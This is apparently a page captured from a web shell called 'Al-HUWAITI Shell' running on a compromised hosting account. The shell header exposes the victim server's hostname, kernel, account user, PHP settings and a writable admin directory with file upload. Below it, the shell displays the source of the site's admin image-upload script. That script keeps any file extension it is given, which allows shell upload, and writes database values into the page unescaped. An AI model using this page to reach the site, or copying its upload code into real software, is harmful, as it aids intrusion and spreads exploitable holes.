Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux us-phx-web1202.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64
User : u615232177 ( 615232177)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /home/u615232177/domains/adesmiley.com/public_html/admin41345/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u615232177/domains/adesmiley.com/public_html/admin41345/home_background.php
<?php session_start();
$page_name = basename($_SERVER['PHP_SELF']); 
include("headerstrict.php"); ?>
<title><?php echo $company_name; ?>, Admin, Home Background</title>
<?php
if (isset($_POST['add_homepage_picture'])) {
	
	$heading = mysqli_real_escape_string($con,$_POST['heading']);
	$paragraph = mysqli_real_escape_string($con,$_POST['paragraph']);
	
	if( ($_FILES["fileField"]["type"]=="") == false ){
		$random_id = substr(md5(rand()), 0, 20);
		$extension = pathinfo($_FILES["fileField"]["name"], PATHINFO_EXTENSION);
		move_uploaded_file( $_FILES['fileField']['tmp_name'], "assets/img/home_background/$random_id.$extension");
		$picture ="$random_id.$extension";
		
		$db_id=0;
		$stmt = $con -> prepare('INSERT INTO picture_slider VALUES (?,?,?,?)');
		$stmt -> bind_param('isss', $db_id,$heading,$paragraph,$picture);
		$stmt -> execute();
	 
		//create a session to verify it's coming from here
		$_SESSION["action"] = "true";
		$message="Picture successfully added.";
		echo "<meta http-equiv=\"refresh\" content=\"0; url=success.php?u=$page_name&m=$message\">";
	}
	
	else{
	$_SESSION["action"] = "true";
	$message="No picture found to upload.";
	echo "<meta http-equiv=\"refresh\" content=\"0; url=failure.php?u=$page_name&m=$message\">";
	}
}
?>
<!-- ======= Breadcrumbs ======= -->
<section id="breadcrumbs" class="breadcrumbs">
  <div class="container"> </div>
</section>
<!-- End Breadcrumbs -->
<!-- ======= Contact Section ======= -->
<section id="contact" class="contact inner-page">
	<div class="container" data-aos="fade-up">

	<div class="section-title">
		<h2>Home Background</h2>
		<p>Add a background</p>
	</div>

        <div class="row">

          <div class="col-lg-6 mt-5 mt-lg-0 d-flex align-items-stretch">
            <form action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>" method="post" class="php-email-form1" enctype='multipart/form-data'>
			<div class='validate'><?php echo $error; ?></div>
              
			  <div class="form-row">
                <div class="form-group col-md-6">
					<input type="text" name="heading" class="form-control" placeholder="Heading" required /> 
                </div>
				
                <div class="form-group col-md-6">
					<input type="text" name="paragraph" class="form-control" placeholder="Paragraph" required /> 
                </div>
              </div>
			  
			  <div class="form-row">
                <div class="form-group col-md-12">
					<input type='file' name='fileField' class="form-control"  required /> 
                </div>
              </div>
             
              <div class="text-center">
				<button type="submit" name='add_homepage_picture'>Save</button>
			  </div>
            </form>
          </div>
		  <div class="col-lg-6 d-flex align-items-stretch">
            
          </div>

        </div><!-- end row -->
		<br/></br>
		 <div class="section-title">
          <p>Uploaded Backgrounds</p>
        </div>
		<div class='row'>
	<?php
	$stmt = $con -> prepare('SELECT * FROM picture_slider'); 
	$stmt -> execute(); 
	$stmt -> store_result(); 
	$stmt -> bind_result($id,$heading,$paragraph,$picture); 
	$numrows = $stmt -> num_rows();
	if($numrows > 0){
		while ($stmt -> fetch()) { 
		echo"			
		<div class='col-md-4'>
		<form action='";?><?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?><?php echo"' method='post'class='php-email-form1'enctype='multipart/form-data'>
			
			<div class='form-row'>
                <div class='form-group col-md-12'>
					<input type='text' name='heading' class='form-control' placeholder='Heading(Red Text)' value='$heading' required /> 
                </div>
				
                <div class='form-group col-md-12'>
					<input type='text' name='paragraph' class='form-control' placeholder='Paragraph' value='$paragraph'required /> 
                </div>
            </div>
			
			 <div class='form-row'>
                <div class='form-group col-md-12'>
					<img style='width:100%;border-radius:5px;'src='assets/img/home_background/$picture' class='img-fluid' alt=''>
					<input type='file' name='fileField' class='form-control'/> 
				</div>
			</div>
		
			
			<div class='text-center'>
				<button type='submit' name='update$id'>Update</button>
				<button type='submit' name='delete$id'>Delete</button>
			</div>
		
		</form>
		</div>
		
		";
		if (isset($_POST["update$id"])) {
			$heading = mysqli_real_escape_string($con,$_POST['heading']);
			$paragraph = mysqli_real_escape_string($con,$_POST['paragraph']);
	
			if( ($_FILES["fileField"]["type"]=="") == false ){
				unlink("assets/img/home_background/$picture");
				$random_id = substr(md5(rand()), 0, 20);
				$extension = pathinfo($_FILES["fileField"]["name"], PATHINFO_EXTENSION);
				move_uploaded_file( $_FILES['fileField']['tmp_name'], "assets/img/home_background/$random_id.$extension");
				$picture ="$random_id.$extension";
			}
			
			$stmt = $con -> prepare('UPDATE picture_slider SET heading = ?,paragraph=?,picture=? WHERE id = ?');
			$stmt -> bind_param('sssi', $heading, $paragraph,$picture,$id);
			$stmt -> execute();
			
			//create a session to verify it's coming from here
			$_SESSION["action"] = "true";
			$message="Update was successfully done.";
			echo "<meta http-equiv=\"refresh\" content=\"0; url=success.php?u=$page_name&m=$message\">";
		}
						
		if (isset($_POST["delete$id"])) {
			$stmt = $con -> prepare('DELETE FROM picture_slider WHERE id = ?');	
			$stmt -> bind_param('i', $id);
			$stmt -> execute();
			unlink("assets/img/home_background/$picture");
			//create a session to verify it's coming from here
			$_SESSION["action"] = "true";
			$message="Picture successfully deleted.";
			echo "<meta http-equiv=\"refresh\" content=\"0; url=success.php?u=$page_name&m=$message\">";
		}
		
		}
	}
			
		?>
	</div>

    </div>
</section><!-- End Contact Section -->
<?php include("footer.php"); ?>

Al-HUWAITI Shell